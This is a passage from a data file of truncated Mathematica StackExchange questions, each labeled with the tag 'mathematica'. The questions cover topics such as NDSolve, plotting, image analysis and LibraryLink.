the type: ... ",['mathematica'] "Title: Defining and isolating a region of an image internal to a bounding curve Body: I was recently looking over this very nice question by March Ho: Counting elements which are inside another element on a different colour channel There are often times where I find myself wanting to ... ",['mathematica'] "Title: Color of a plane in Contourplot3D Body: I have the following code example: ... ",['mathematica'] "Title: Crank-Nicolson with NDSolve? Body: As far as I understand, the Crank-Nicolson method (a.k.a. trapezoidal method) can be expressed as a second order implicit Runge-Kutta method. It's Butcher tableau is: ... ",['mathematica'] "Title: Importing a directory of sequentially labeled images without a slowdown proportional to the directory size Body: I have previously asked an as yet unanswered question about how to fix an issue with slow import of multigigabyte TIFF image stacks: Slow import of multigigabyte TIF image stacks. I've been ... ",['mathematica'] "Title: Riemann-Spherical Projection of Network onto the $\mathbb{R}^2$-Plane Body: I'm trying to find a way to plot the graph ... ",['mathematica'] "Title: Mathematica performance on Mac Body: I recently got a trial version of both Mathematica 9 and MATLAB 13a for Windows. I was stunned by the performance difference in the Windows and the Mac version. It was a simple test in matrix ... ",['mathematica'] "Title: Having SetOptions[] affect CDF styling Body: Instead of writing a package and importing it, at the beginning of many of my .nb files I have a string of SetOptions commands which govern things like plot styling. However, when I subsequently make ... ",['mathematica'] "Title: Computing a mean of median list of points Body: Given a array of lists with the same number of here N = 10 elements: ... ",['mathematica'] "Title: How Do I Plot A Binomial to the Right of the Origin? Body: I'm having a seven element binomial distribution: BinomialDistribution[7, 0.5], x],{x, 0, 8}] I would like to locate to any arbitrary point on the X axis. Mathematica will let me have eight columns on ... ",['mathematica'] "Title: How do I make a frequency table from a histogram (data set)? Body: I have a data set. ... ",['mathematica'] "Title: Making a C++ Callable .lib or .dll file from a mathemathica notebook Body: Matlab supports to convert their function files into a C++ Callable libraries. I was wondering is the same feature is also available with mathemathica? If yes, can you please guide me where I can ... ",['mathematica'] "Title: weird problems with NDSolve in mathematica [duplicate] Body: I'm having some troubles with Mathematica, I hope you could give me some hints in how to solve them. I'm trying to solve a system of coupled differential equations using NDSolve (the renormalization ... ",['mathematica'] "Title: problems with NDSolve Body: I'm having some troubles with Mathematica, I hope you could give me some hints in how to solve them. I'm trying to solve a system of coupled differential equations using NDSolve (the renormalization ... ",['mathematica'] "Title: Contour plot of complex function: problem in choosing argument Body: I have a complex function F[x,y], and now I want to plot the contour F[x,y] = 0. What can I do in order to have the contour plot vs Re[x] and y (That is, I want to treat y a real variable and x a ... ",['mathematica'] "Title: How to make a Dynamic Calculator to solve a quadratic equation? Body: Taking my first steps in the world of Mathematica Programming. The aim of my program was to modify Wolfram's dynamic calculator (which performs an addition subtraction and a product - in response ... ",['mathematica'] "Title: Plot of a function which includes numerical integrals Body: I want to make a 3D plot of two variable i1 and b1. The dependent variable results from a pay-off function ... ",['mathematica'] "Title: Better code to solve number puzzle [duplicate] Body: Question: (34 O 5 O 6 O 8 O 9 O 1) O 2=2008 Replace the Symbol of ""O"" to ""+"" or ""-"" or ""*"",and make the expression is true. My solution: ... ",['mathematica'] "Title: NMaximize and Conditional Loop Body: I have developed the following code that simulates a process that decays over time and then returns to its initial state periodically. When I pass a list of random integers in the interval $(1,0)$ as ... ",['mathematica'] "Title: How can I convert a list to an expression? [duplicate] Body: For example, I have the following list: {x1,op1,x2,op2,x3,op3,...} And I would like to convert the list to the following expression: x1 op1 x2 op2 x3 op3 ... ",['mathematica'] "Title: How to create a distributive function in Mathematica Body: More specifically, I would like to define an algebra such that: f[x1 op1 x2 op2 x3,...]=f[x1] op1 f[x2] op2 f[x3]... I know of the Distribute function but the problem I get into is that the function ... ",['mathematica'] "Title: ListDensityPlot controlling the number of colors Body: Is there a way to set the number of colors used in ListDensityPlot. I am using ""Rainbow"" as follows: ... ",['mathematica'] "Title: plotting hypergeometric functions Body: Does anyone know why a plot of a hypergeometric function turns out differently in Mathematica than in Maple? The function I'm plotting between x=-30 and +30 is: ... ",['mathematica'] "Title: How can I rewrite my game without using Manipulate? Body: Snake Games ... ",['mathematica'] "Title: Recurrences of lists Body: Assume we have a multi-dimensional recurrence, e.g. $\qquad\begin{align*} a_1 &= (1,2) \\ a_n &= (1,2) + a_{n-1} \quad, n>1 \end{align*}$ with the easy solution $a_n = (n,2n)$. How ... ",['mathematica'] "Title: Generating an “average curve” from a dense set of “semicontinuous curves” which clear trends Body: This question is related to a previous one of mine: Partitioning a superset of coordinates into subsets that generate continuous curves, where the challenge was to partition a data set into two ... ",['mathematica'] "Title: Plotting a 2D shape along a 3D parametric function curve Body: Say I have a 3D curve that is parametrically defined. How would I be able to plot shapes like figure 8s whose centers are aligned along the 3D curve? Say the curve was: ... ",['mathematica'] "Title: Formatting the output of ComponentMeasurements Body: I have some code written here which uses ComponentMeasurements to output some data, specifically the one below: ... ",['mathematica'] "Title: ListPlot under conditions Body: I have a data file containing several columns and thousands lines of data. Below I present a small portion of it, in order to express my issue: ... ",['mathematica'] "Title: ImageLines Segmented options Body: I have tried utilising the ImageLines function, and its accompanying Segmented setting. However, the segmentation doesn't appear to allow for its variables to be fine tuned, at least not according to ... ",['mathematica'] "Title: How can I remove text headers when importing a numeric table Body: I have a file let's say 1.txt having numbers like: fgdgfdg fhdfdh 0.000105533 1.00E-04 0.222281 1.00E-04 0.444456 1.00E-04 0.666631 1.00E-04 asdas ddfdsfsd 0.111193 0.166733 ... ",['mathematica'] "Title: Utterly confounding behaviour in Mathematica 9 DSolve Body: I've been baffled by a lot of the behaviours of Mathematica 9 — so much that I regret upgrading my copy of Mathematica 8 (I would downgrade but I'm currently on vacation). Here is an example: ... ",['mathematica'] "Title: Linear programming with many variables and parameters Body: I am trying to reconstruct the answer that is given in this report. (page 153 in Appendix B; Section B.2.1). They are given variables, parameters, constraints, and the objective function to minimize. ... ",['mathematica'] "Title: Evaluation of elements in a list and then sorting them Body: This is probably a simple problem, but I'm having a lot of issues with it because I'm unfamiliar with Mathematica syntax. I have a list ... ",['mathematica'] "Title: Removing the edge features of an image while enhancing internal connectors Body: I picked up the following leaf today while going for a walk. And wanted then to run the same analysis that @Vitaly Kaurov did for rivers under this posting Measuring Fractal Dimensions of natural ... ",['mathematica'] "Title: Interpolating a sparse list of two-dimensional coordinates Body: I've run into a problem where I have an ordered array of sets of coordinates, for example: ... ",['mathematica'] "Title: Symbol created in unevaluated second argument of If [duplicate] Body: Apologies for the long question title, but I couldn't come up with something shorter to describe the following. Starting with a clean session, there are no symbols in, let's say, ... ",['mathematica'] "Title: Initialization Cells in CDF Body: I am wanting to run about 15 pages of initialization cells in a CDF, but can't seem to do so. I have set the InitializationCellEvaluation to True and InitializationCellWarning to False, but it doesn't ... ",['mathematica'] "Title: Is it possible to separately call the default value of a variable which isn't at the end of the sequence? Body: After reading this post I recalled an old question I once met. We know that we can set default values for variables of a function: ... ",['mathematica'] "Title: Adding a constant vector to a vector differential equation seems to break NDSolve. Why? Body: I'm trying to solve a differential equation that's phrased in terms of matrices and vectors. My minimum working example is this: ... ",['mathematica'] "Title: Filling a plotted line both below and above the line Body: I'm relatively new to Mathematica. I tried looking for a solution online but couldn't find anything. I want to fill a plotted line both above the line (one color) and below (another color). For ... ",['mathematica'] "Title: Implementation of a recurrence relation for the polynomials appearing in the large order asymptotics of the Bessel functions Body: I would like to implement the recurrence relation for the polynomials $U_n(x)$ appearing in the large order asymptotics of the Bessel functions. The recurrence in question is ... ",['mathematica'] "Title: How secure is J/Link? Body: Are there security concerns with using J/Link? If so, is there any way to encrypt the data passed between Mathematica and Java? If Mathematica and the JVM are running on the same machine, is there any ... ",['mathematica'] "Title: singularity in NDSolve for some values of parameter Body: my equation is: ... ",['mathematica'] "Title: Why LibraryLink function crashes at a second time? Body: I'm trying link one of Lapack's function to Mathematica through LibraryLink, and the Library function works great at the first execution but crashes at the second time. Here is the code (modified ... ",['mathematica'] "Title: “LinkOpen::linke : specified file is not a mathlink executable” Body: The following code runs fine if I run it interactively: ... ",['mathematica'] "Title: How to define a function based on the output of DSolve? [duplicate] Body: I would like to define a function based on the output of the following DSolve call: ... ",['mathematica'] "Title: Intersection & Complement operations for lists of Morphological Components? Body: I have an array of $M$ sets of morphological components corresponding to the same image, however computed in different ways. For example, we might have: ... ",['mathematica'] "Title: Why does list assignment with a packed array result in unpacked values? Body: This is another question on the design choices in Mathematica. I understand that without direct reply from the developers it may not be possible to give a definitive and exhaustive answer to ""why"" ... ",['mathematica'] "Title: Split dataset based on the first column [duplicate] Body: I have a dataset which I want to split based on the first column. The data looks like this ... ",['mathematica'] "Title: Plotting boundary value expression against a parameter Body: I am very new to Mathematica and have a question regarding plotting a ODE boundary value problem. Let say I have an ODE ... ",['mathematica'] "Title: How to make endpoints flush with fill in ListLinePlot? Body: If one plots a filled line plot such as, for example, the one produced by ... ",['mathematica'] "Title: About an infinite product Body: I have a curiosity as regards the infinite product below. I wonder why Mathematica v.8.0. says the limit is $1$. This is not true. ... ",['mathematica'] "Title: How can I speed up this plot manipulation? Why does Evaluate not help? Body: If I were able to ""Save"" the computed inverse function somewhere and then plot it, the manipulation would become faster. As I understand, Evaluate should do the job, but for some reason it does not. ... ",['mathematica'] "Title: Matrices and polynomials: MMA 8 vs. 9? Body: I want a function to take a polynomial from a list, plug a certain matrix T into that polynomial, and return the answer as another matrix. My program uses the applyPoly function suggested by a user in ... ",['mathematica'] "Title: Degeneracy problem at the start of a series expansion Body: I am facing the following problem : I have an equation which could write $$ F(x_1(Y))-F(x_2(Y)) = 0 $$ $x_1$ and $x_2$ are the largest and smallest roots of a cubic equation; their definition ... ",['mathematica'] "Title: Why selecting text in my notebook become abnormal? Body: Selecting text in one of my Notebooks becomes abnormal. Here is the unselected text: and here is the partly selected text: When the text being selected, it should be like this: What is wrong ... ",['mathematica'] "Title: Need help installing a package Body: I want to install this mathematica package but I can't get it to work. I downloaded both files to desktop, ""a directory of your choice"". Then I change the .nb file, but I'm not sure to what. My ... ",['mathematica'] "Title: Strange behavior when replacing variables by numerical values [duplicate] Body: I have a rather complicated function with parameters {a, b, c, d, e, f, k}, and I'd like to know its behavior as a function of k alone given other parameters, so I try the following code: ... ",['mathematica'] "Title: Connecting to remote kernel on iMac from a MacBook Pro client Body: I am having trouble setting up a remote kernel connection between my two Mac computers. The kernel on my iMac runs much faster than on my MacBook Pro, so I would like to run computations through my ... ",['mathematica'] "Title: Problems with BarLegend in MatrixPlot Body: I have the following data: ... ",['mathematica'] "Title: Trigonometry expansion of a product Body: The following command does what I want: ... ",['mathematica'] "Title: Variable scope in nested NMaximize, NMaxValue Body: I'm trying to use NMaxValue inside other statements (FindRoot and NMinimize). Those statements should bind variable names, but I'm getting weird warnings which seem to indicate that the variables ... ",['mathematica'] "Title: Why can't NSolve solve my system of equations? Body: Here is the continuation of my previous post, but now, we have special case of the problem and all values are numerically presented. Only, the system of unknowns T I need to solve with conditions ... ",['mathematica'] "Title: How to combine an if statement with Statistics Body: Bellow is a code which attempts to change the sign (+/-) of S with an if statement. S1 is shown and S2 is the attempt to include the if statement. You can see from the information yielded from S1 ... ",['mathematica'] "Title: How to make Excel-like data bars? Body: I would like to make a grid where each cell background is partially filled according to the numerical value being represented (on a scale from 0 to 1). Similar functionality to the one requested in ... ",['mathematica'] "Title: Simplifying an ArcTan expression Body: The expression $\tan ^{-1}\left(\frac{\sqrt{L^2 \sin ^2(\theta )}}{\sqrt{L^2 \cos ^2(\theta )}}\right)$ can be simplified to $\theta$. After some attempts I got the following to do the job. ... ",['mathematica'] "Title: How to get rid of the perspective effect in a 3D graphics Body: I have plotted a figure of MoS2 crytal structure. But the actual output looks like the spheres are not in the correct position due to the perspective effect. I obtained the correct position figure ... ",['mathematica'] "Title: MathLink and writing *.tm files Body: My goal is to use MathLink to access the functions in sofa (Standards of Fundamental Astronomy) So far I have had mixed success. I have very little C programing experience so I am hoping to get ... ",['mathematica'] "Title: How to obtain a Symplectic 4×4 matrix? Body: I have a problem in obtaining a $2n \times 2n$ Symplectic matrix $T$, with $n=2$. I couldn't find a direct command in Mathematica to achieve this. Conditions: ... ",['mathematica'] "Title: Plot a 3D vector field from a file [duplicate] Body: I have a data file with six columns {x,y,z} and {ux,uy,uz} respectively, and I would like to plot the 3D vector field. http://www.mediafire.com/download/udoa61hu0m6itrc/campo.txt I'm trying to do ... ",['mathematica'] "Title: How to automatically restart Mathematica kernel after out-of-memory error Body: I want to run a Mathematica code repeatedly, even after the kernel shuts down when it is out of memory, because I have designed my program to continue appending the data to a file. Currently, I have ... ",['mathematica'] "Title: Map and Scan ignore HoldFirst Body: I am trying to write a simple function that takes a list of data and outputs it to a file. I'd like the name of the file to be the same as the variable that holds the list. It seems that giving a ... ",['mathematica'] "Title: Filling from Gridline to edge of plot Body: Hi I would simply like to fill in the region from a vertical gridline to the right boundry of the plot Here is an example ... ",['mathematica'] "Title: DistributionFitTest with WeightedData? Body: My problem is related to statistical testing with weighted data. I have a data sample and I assume that a part of the data follows a specific distribution (Pareto). So I fit my data to a distribution ... ",['mathematica'] "Title: Opening .nb in other software or exporting to other languages Body: I am collaborating on a spare-time project with someone else that has access to Mathematica. I do not. He has supplied me with his notebook file. Is it possible for me to open, or import this file ... ",['mathematica'] "Title: Graph rendering not working as expected Body: I'm running the older Mathematica v6 which seems to go through the edges of graphs twice. Is this a bug? Is it fixed on the latest version? Please just try this command: ... ",['mathematica'] "Title: The limit of a product to infinity Body: What is the difficulty with this question to Mathematica? Is it just a problem with Mathematica v.8.0 or all versions are in trouble with it? Or is something wrong with my input? ... ",['mathematica'] "Title: Plotting Continuous function with no derivatives [closed] Body: Rudin's Principles of Mathematical Analysis theorem 7.8 comes with an example of a continuous function which is nowhere differentiable, and it's defined by a series. I'm trying to plot this function ... ",['mathematica'] "Title: Memory efficient generation and selection of tuples Body: The short of this question: I need to find a bunch of n-tuples of {0,1} which do not fail to satisfy a set of (non-linear polynomial) equations, without hogging up all of my memory by trying to ... ",['mathematica'] "Title: Parallelization of the stochastic Euler scheme Body: I wrote a simulation to approximate the law of a stochastic differential equation via a Monte Carlo method using the stochastic Euler scheme. Then I thought, it would be a good idea to speed up ... ",['mathematica'] "Title: Unwanted parentheses appearing in a notebook that is opened by a button Body: I am writing an interactive document and have an idea to make in-line buttons that on demand would create and bring up separate notebooks containing some explanations or a remindings. One example of ... ",['mathematica'] "Title: Alternatives to Mathematica Body: Inspired by the recent question Alternatives to LaTeX (currently 58 upvotes) on http://tex.stackexchange.com/: Are there any paid-for or open source alternatives to Mathematica which produce equal or ... ",['mathematica'] "Title: Implementing hexagon binning in mathematica Body: Hexagon bin plots are a useful way of visualising large datasets of bivariate data. Here are a few examples: With bin frequency indicated by grey level... ..and by glyph size There are packages ... ",['mathematica'] "Title: Jumps on a Plot animation Body: The following code: ... ",['mathematica'] "Title: Legends in combined Plot and ListPlot Body: I have a set of data ... ",['mathematica'] "Title: Automatization of SyntaxInformation and argx? Body: Does anybody have a good way to automate the setting of SyntaxInformation for any custom function? I have a ton of functions for which I want to set SyntaxInformation, and doing it by hand seems a ... ",['mathematica'] "Title: Am I missing the point of ViewCenter? Body: Based on this description of 3D graphics and the associated Wolfram Training video, I anticipated that using the mouse to rotate the graphic below would rotate around the point where the three ... ",['mathematica'] "Title: Licence and number of controlling kernels Body: I'm trying to understand the differences between controlling kernels and subkernels. I created 3 local kernels (kernel configuration options > add), each using a maximum of 8 local subkernels. ... ",['mathematica'] "Title: Graphics can't be live and editable Body: Is there a way to construct an interface so that the Code and the Graphics remain in sync? For example I would like to be able to drag/drop and move around different shapes in Graphic while seeing ... ",['mathematica'] "Title: Interface C# STAThread Body: How do I convert a .NET STAThread into .NET/Link Mathematica code? Alternatively what would be the easiest way to compile and run the program below from within mathemaitca? ... ",['mathematica'] "Title: Extracting counts of contiguous zeros and ones from a binary array Body: I'm a novice with Mathematica, but you guys have been very helpful to me in the past. I have a binary array [100, J repetitions] consisting of zeroes and ones. I'd like to extract a histogram of the ... ",['mathematica'] "Title: representing triplet data set with color on 2d plot [duplicate] Body: I have a huge list of data in the form of triplets numbers (e.g. {x,y,z}) and I want 2d plot. In which I want to plot y vs x on which values of z should be shown with color depending on the value of z ... ",['mathematica'] "Title: How to calculate the whole run time in a specific notebook? Body: I have found a way to show the run time in a specific cell in a notebook (.nb). Now, I want to have the whole run time including all cells in a specific notebook. How is it possible to calculate it ... ",['mathematica'] "Title: Gram-Schmidt process with Hermite functions on [-1, 1] Body: Denote by $h_n$ the $n$-th Hermite function. $$ h_n(x) = \frac{(-1)^n }{\sqrt{2^n n! \sqrt{\pi}}} \mathrm{e}^{\frac{x^2}{2}} \frac{\mathrm{d}^n}{\mathrm{d} x^n} \mathrm{e}^{-x^2} $$ I am trying to ... ",['mathematica'] "Title: How to set FindGraphCommunities Modularity's method option Body: It is possible to set 2 options for one of FindGraphCommunities's methods ""Modularity"". They are ""Weighted"" and ""StopTest"". The question is how can one use the second option ""StopTest""? What ... ",['mathematica'] "Title: Unable to import functions from external file Body: I'm fairly new to Mathematica but I'm in the process of setting up some basic analysis based off someone else's work. They had a number of shared functions stored in a shared code directory and were ... ",['mathematica'] "Title: How to speed up text recognition Body: I have a large corpus of text to analyse. I've managed to automate splitting it into individual lines because I've found that each line in this relatively old scanned document needs to be dealt with ... ",['mathematica'] "Title: Boundary of ListPlot3D has gaps, ways to find out the cause? Body: Yet another 3d plotting question: I've got a ListPlot3D, where the boundaries of the plot are given with the default black lines. Unfortunately, the lines have awkward gaps in them, like so: ... ",['mathematica'] "Title: Can I use Geronimo instead of Apache Tomcat for deploying? Body: I am using Apache Tomcat for deploying Web-Applications. I want to deploy Apps in Geronimo (also built by Apache), because it's open source and provides more features (clustering, JMS, Application ... ",['mathematica'] "Title: Speeding up TIF import Body: After trying to import a $\approx 2$ GB TIF file with the Import command, I noticed that the process takes $\approx 15$ minutes or so, which seems excessive, especially when compared to other software ... ",['mathematica'] "Title: Is it possible to use Find with wild cards? Body: When making global changes to code and variables Find is a great resource. Is there a way to use Find with wild cards to find and replace any non numerical elements or to find and replace only ... ",['mathematica'] "Title: Using MatrixPlot, how can I dynamically zoom in and out with my mouse? [duplicate] Body: I have a MatrixPlot output which I would like to zoom around in, drawing boxes that define a zoom region with my mouse. These things are all fairly standard in Labview... surely Mathematica must have ... ",['mathematica'] "Title: Problem with Integrate Body: ... ",['mathematica'] "Title: Ignoring Indeterminate Results [duplicate] Body: I am doing some program where I must calculate some numerical integral (the involved function is quite complicated to be solved analytically). The function to be integrated have some parameters which ... ",['mathematica'] "Title: Plotting three-dimensional plot with Interpolating functions Body: I want to plot my functions, but I can't seem to figure out what's going wrong. I want to be able to animate it as well. ... ",['mathematica'] "Title: Generate regularly spaced points from the surface of simplexes Body: I need to generate regularly spaced samples (points) from the surface of unit simplexes with 2 or greater vertices or end points. I can generate random samples pretty straightforwardly: ... ",['mathematica'] "Title: Series expansion for small ratio of variables Body: I have a messy expression of variables that I would like to simplify under the assumption that certain ratios of the variables are small. For example, consider $\sqrt{x+y}\;$ expanded for small ... ",['mathematica'] "Title: Finding a mapping between elements in two lists that satisfy some criterion (such as being less than threshold Euclidean distance apart)? Body: I have two lists of $d$-dimensional coordinates, for example setting $d=3$ we might write: ... ",['mathematica'] "Title: Notebook output behaving erratically Body: Normally, when reevaluating a cell, the following output cell is overwritten with the new result. I have a lengthy notebook in which at some point for unknown reasons each reevaluation generates a new ... ",['mathematica'] "Title: how to generate repeatable Unique streams? Body: I need to label some data in arbitrarily nested ragged lists, with a stream of unique labels. It's very convenient if the labels are consecutive integers, starting at 0 or 1, and if I can produce the ... ",['mathematica'] "Title: Units, plotting and empty plots Body: maybe I'm completely newbie but I can't understand the behavior of units and the command plot. I'm doing some easy plotting of the state equation for gasses: ... ",['mathematica'] "Title: Changing “Block[]” to a Manipulation Body: I have a graph here and I want to be able to manipulate the 4 parameters that are in the Block command. I want to watch the graph change as I change the parameters. I've done this before, but the ... ",['mathematica'] "Title: sequence of matrix multipications Body: My linear algebra book has questions that are are marked to use math software. There's probably some $50 guide on how to do everything but usually documentation has gotten me through. I've been kind ... ",['mathematica'] "Title: Specifying mesh in NDSolve Body: I am trying to solve a system of one-dimensional two-point boundary-value problems with NDSolve. I would like use a fixed mesh (specified by me) in the calculation. Is there a way to do this? The ... ",['mathematica'] "Title: ParametricPlot with DSolve does not show anything Body: I manage to plot strn[t] and sig[t] where sig[t] is the solution from my DSolve. However, when I want to ParametricPlot sig[t] vs strn[t], I failed to do it as the parametric plot does not show ... ",['mathematica'] "Title: Why doesn't Mathematica evaluate this limit? Body: I am trying to evaluate a few limits in Mathematica, and I can only get it to evaluate them in certain cases. I don't fully understand the evaluation order and when it substitutes numerical values in ... ",['mathematica'] "Title: Sorting a list of triplets by first element of each triplet fails Body: In the last line of code, I´m trying to order the matrix by the first column. I want to store in the Array t2tlistsorted ( 100 x 3 ), but I can´t. ... ",['mathematica'] "Title: DictionaryLookup very slow Body: I'm trying to plot, given a list of words, how many words belongs to each language. I'm using the following code: ... ",['mathematica'] "Title: Non-canonical re-ordering of nested lists Body: I have some data in the form: ... ",['mathematica'] "Title: Is there a better way to approximate some graphs of integrals than interpolation? Body: I'm still pretty new to Mathematica so my apologies if this is a dumb question. I wanted to plot some integrals of functions for no particularly good reason, but the only decent way I could come up ... ",['mathematica'] "Title: Understanding the computation of the geometric median Body: In the Wolfram Demonstration Fermat Point for Many Points, it appears that the geometric median is being calculated for an arbitrary set of five manipulable points. How might one extend this ... ",['mathematica'] "Title: Differential Equation power spectra Body: ... ",['mathematica'] "Title: How can I replace very small scientific form of numbers in output with 0.0? [duplicate] Body: How cam I get rid of very small scientific form numbers in my output, replacing them with zero? (eg: 2.27682*10^-18 --> 0.0) ",['mathematica'] "Title: Using Dot Product with InterpolatingFunctions Body: I am using NDSolve on a vector function $\mathbf y'(x)=f[\mathbf y(x)]$ with initial condition $\mathbf y_0$, where the dimension of the vector should be user-defined. ... ",['mathematica'] "Title: Excel column label from integer Body: I would like to create a function in Mathematica, which returns the equivalent Excel column label (e.g., A, Z, AA, AZ, and so on) given a column number. I think it can be done with ... ",['mathematica'] "Title: How to choose three points on the circle so that the triangle is not a right triangle? Body: I want to choose three points $A$, $B$, $C$ has integer coordinates on the circle $$(x+2)^2 + (y+1)^2 = 25$$ so that the triangle is not a right triangle. But I can not. I tried ... ",['mathematica'] "Title: My mistake or error in NDSolve? Body: I try to solve the following equation $$y'=y-2ye^{-0.8y}, \quad y(0)=0.7.$$ By some aruments I expect to have a positive solution $y(t)\geq0$, for all $t>0$, however, NDSolve shows that starting ... ",['mathematica'] "Title: Making an animated simulation without procedural loops Body: I'm still new to Mathematica and this is the first time I've wanted to do something more complicated than plotting and changing parameters of mathematical functions. I want to make a simple ... ",['mathematica'] "Title: Numerical Integration with InverseErfc Body: I am trying to numerically integrate an equation that involves InverseErfc (embedded in the copula defined). The equation looks like the following: $$ \int_0^T \int_0^\infty \int_0^\infty ... ",['mathematica'] "Title: Modified Cell Different Display Body: Is there a way to show maybe a slightly different color, or change the cell bracketing color of a Mathematica cell when it has been modified? Ideally it would be nice to follow the standard of ... ",['mathematica'] "Title: How to integrate a function over a 3D planar polygon? Body: I am trying to integrate a function over a planar polygon in 3D. In 2D, this is fairly straightforward, using either answer from this question (I use the second answer). If we use an equilateral ... ",['mathematica'] "Title: Nonlinear PDE with convolution Body: I would like to find a numeric solution to the following nonlinear evolution equation (a.k.a. PDE) $$\frac{\partial }{\partial t} u(t,x)=f\left(u(t,x),\int_{-\infty}^\infty a(x-y)u(t,y)dy\right),$$ ... ",['mathematica'] "Title: Is it possible to create an event handler for changes in values of variables? Body: I am creating a networking application in Mathematica that runs a non-stop simulation, and periodically receives new information from the remote server that affects the simulation. Whenever values ... ",['mathematica'] "Title: Keeping Integrate from making unnecessary assumptions Body: I would like to evaluate the integral $\int_{-\infty}^\infty \mathrm{d}x \, \exp\left(- a x^2 - x^4\right)$ for any real value of $a$. Mathematica 8.0.4 gives the following result: ... ",['mathematica'] "Title: Efficiently initialize list of consecutively named variables for file import Body: Let's say I have the code: ... ",['mathematica'] "Title: Efficient Generation of Subgraphs (or, unfriend a friend a day) Body: NB: If you're not interested in the back-story, you could simply jump forward to the code which I'm seeking to optimize. Also, I believe this code would only work for MMA 8.0 and above. My friends ... ",['mathematica'] "Title: Solving coupled eigenvalue differential equations Body: I am trying to solve an equation of the form as follows $\left(\begin{array}{cc} -\frac{\hbar^{2}}{2m}\frac{\delta^{2}}{\delta z^{2}}+\sin^{2}\left(z\right) & z\\ z & ... ",['mathematica'] "Title: How to export large matrix from .nb file into .pdf Body: I have one technical problem with printing large matrix 50x50 with lot of data. Always when I want to export .nb to .pdf, I can see just part of matrix, never all? Is there solution for this. I need ... ",['mathematica'] "Title: Sort+Union on a list Body: Probably this is too trivial question for this forum but for some reason I am not getting it on my Mathematica 7 so far. I have a list ... ",['mathematica'] "Title: Generating ALL spanning trees in an undirected graph Body: I was wondering if there is explicit source code for generating all spanning Trees on undirected Graphs. I don’t need anything very fancy – perhaps Minty's algorithm or Gabow&Myers. I've only ... ",['mathematica'] "Title: Simulations with MonteCarlo and Autoregressive methods Body: I am trying to find the best-fit trend for my data. Here I just generated it but let's say I don't know my data trend at all. ... ",['mathematica'] "Title: Displaying a locator that moves smoothly and updates some dynamic variables Body: I want to select a point on a graph and display a function of the coordinates value. Asking here a related question I learned to use Setting. Consider the example, where I display the coordinate ... ",['mathematica'] "Title: Output to preserve dot product Body: I am fairly new to Mathematica and I am faced with a problem. I tried to search for the solution but it seems that I don't know how to formulate the short search request. I need to perform a matrix ... ",['mathematica'] "Title: How to Export this animation as a gif file for powerpoint presentation Body: ... ",['mathematica'] "Title: Remote access to notebook is very slow Body: I am using Mathematica at work remotely from a computer in my building and I can edit notebooks by opening them from terminal via ssh without problem (a little slow if there is a figure with many ... ",['mathematica'] "Title: How to simulate with a user specified bivariate continuous probability distribution [duplicate] Body: I am very new to Mathematica set up and I have the following question: I have a bivariate probability distribution which is a little complicated and of the form: $$f(x,y)=(a_0+a_1+a_2)\frac{a_1 ... ",['mathematica'] "Title: Retain required terms in asymptotic expansions Body: I am using Mathematica 8 to do lengthy asymptotic expansions for use in statistics. In particular I have $\lambda=\beta+\epsilon+\delta+\gamma+O(n^{-5/2})$ where the first term is of order ... ",['mathematica'] "Title: Module Returns Two Values for Plot; I need to Color them Body: This is probably a very stupid question, but I've been fighting with it for quite awhile now. So suppose you have a module: ... ",['mathematica'] "Title: Error in ARIMAProcess example Body: I am trying to compile the sample of ARIMAProcess of MMA here .It doesn't work.What is wrong?Could you please help?I am using exact same code. ... ",['mathematica'] "Title: How can I change the highlighting color of an InlineMathCell? Body: When using the InlineMathCell one types Ctrl+9 within the text cell, and gets a slot for starting typing the InlineMathCell part. When typing the content of the InlineMathCell is slightly highlighted ... ",['mathematica'] "Title: How to evaluate only arguments, but leave topmost expression unevaluated? [duplicate] Body: I want to represent expressions mostly in unevaluated form, but being able to evaluate it's subparts. For example, how to evaluate only arguments, but leave topmost expression unevaluated? For ... ",['mathematica'] "Title: Is it possible to define custom compound assignment operators like ⊕= similar to built-ins +=, *= etc? Body: I would like to do something like this: ... ",['mathematica'] "Title: Summation with constraints Body: I am trying to do the summation shown below, $\sum_{i_1=0}^{imax_1} \sum_{i_2=0}^{imax_2} \dots \sum_{i_k=0}^{imax_k} f(i_1,\dots,i_k)$ $k$ is a variable. Therefore $i$ and $imax$ are defined as ... ",['mathematica'] "Title: message about string expected in pattern [duplicate] Body: ... ",['mathematica'] "Title: How to graph a series of coupled oscillators and watch the wave move along them Body: Here are the differential equations that set's up the 11 coupled oscillators. ... ",['mathematica'] "Title: Find leading-order asymptotic approximatons to the solution of epsilon y''+Cosh[x]y'- y == 0 Body: I am trying to solve this boundary value problem and obtain the leading-order approximations using asymptotic matching. But I got my solution wrong and I am stuck along the way, struggling to find any ... ",['mathematica'] "Title: Rounding only reals in an expression containing, reals, integers and symbols Body: I am trying to make a function that would make rounding real numbers in an expression possibly consisting of real numbers, integer numbers and symbols. An example of such an expression is below: ... ",['mathematica'] "Title: Create polygon using edge lengths and area Body: Four-sided convex land plots are usually denoted with edge lengths and area. How do I create a Polygon Object with these parameters in Mathematica ? ",['mathematica'] "Title: Locator following other locator in DynamicModule Body: I'm trying to create a dynamic environment where I specify, using two locators, the initial condition (position (x,y) and velocity angle (alpha)) of a 2D particle. To simplify, I'm assuming the ... ",['mathematica'] "Title: finding poles of a function Body: Is there a command to find the poles of a function $f=f(z)$? example: let $$f(z) = \frac{1}{z^2-1}$$ then we know that the poles are at $z=\pm 1$ but is there a special command in mathematica to do ... ",['mathematica'] "Title: NMinimize and FindRoot Issues with System of Equations [duplicate] Body: I am trying to solve a constrained optimization problem with a system of transcendental equations and am running into issues with NMinimize. I have a system of equations (... ",['mathematica'] "Title: How do I find the intersection of a closed 3D curve given by numerical data with a specified plane? Body: I have a list of 3D data points which form a closed curve. My own data can't be easily generated analytically, but the qualitative behaviour is well represented by a parametric curve families such as ... ",['mathematica'] "Title: Seeking faster method than using Table and If together [duplicate] Body: See the example below. Is there any way to make this execute much faster and still get the same output ? I have read Conditionals slower than operators? but it didn't really help me as I can't seem to ... ",['mathematica'] "Title: How to determine cluster membership using FindClusters? Body: I have a 1000 by 3 data matrix in which for each person we have 3 scores. I want to cluster those persons into 8 cluster using Agglomerative method. I did the clusetring by: ... ",['mathematica'] "Title: Exporting large numbers in WDX format Body: I have a list of 10 000 3×3 matrices in Mathematica. The entries are rational numbers. I would like to write this to a file so I can load it again in the future. After some fussing with file formats, ... ",['mathematica'] "Title: How to improve the quality of the ListPlot output Body: I need to plot massive data stored in external ASCII files. Below is the Mathematica code I use for this job: ... ",['mathematica'] "Title: Plotting a contour on a torus Body: There are two ways to consider a two-dimensional torus. One way is to take a parallelogram (let's say the square $[0, 1]^2$) and topologically 